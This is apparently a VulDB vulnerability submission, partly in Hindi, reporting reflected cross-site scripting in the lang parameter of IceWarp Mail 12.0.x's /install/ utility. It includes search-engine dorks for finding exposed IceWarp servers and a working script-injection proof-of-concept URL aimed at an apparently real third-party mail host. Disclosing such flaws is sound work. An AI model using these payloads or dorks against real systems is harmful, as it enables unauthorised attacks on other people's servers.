जमा करें #258573: IceWarp IceWarp Mail 12.0.x.x xss

An xss was identified in the lang parameter in IceWarp's utility part, affecting several versions of x.x.x.x and x.x.x.x

https://hunter.how/list?searchValue=%20web.title%3D%3D%22IceWarp%20Utilities%22&timestamp=1703616315118

Dorks

https://hunter.how/list?searchValue=web.title%3D%3D%22IceWarp%20Utilities%22&timestamp=1703616489815
https://fofa.info/result?qbase64=c2VydmVyPSJJY2VXYXJwLzEyLjAuMy4xIg%3D%3D

• स्रोत: ⚠️ https://mail.moderndentallab.com/install/?lang=1%27%22()%26%25%3Czzz%3E%3CScRiPt%3Ealert(document.domain)%3C/ScRiPt%3E
• उपयोगकर्ता: chor4o (UID 52584)
• सबमिशन: 26/12/2023 07:56 PM (3 साल पहले)
• संयम: 05/01/2024 11:35 AM (10 days later)
• स्थिति: स्वीकृत
• VulDB प्रविष्टि: 249759 [IceWarp 12.0.2.1/12.0.3.1 Utility Download /install/ lang क्रॉस साइट स्क्रिप्टिंग]
• अंक: 19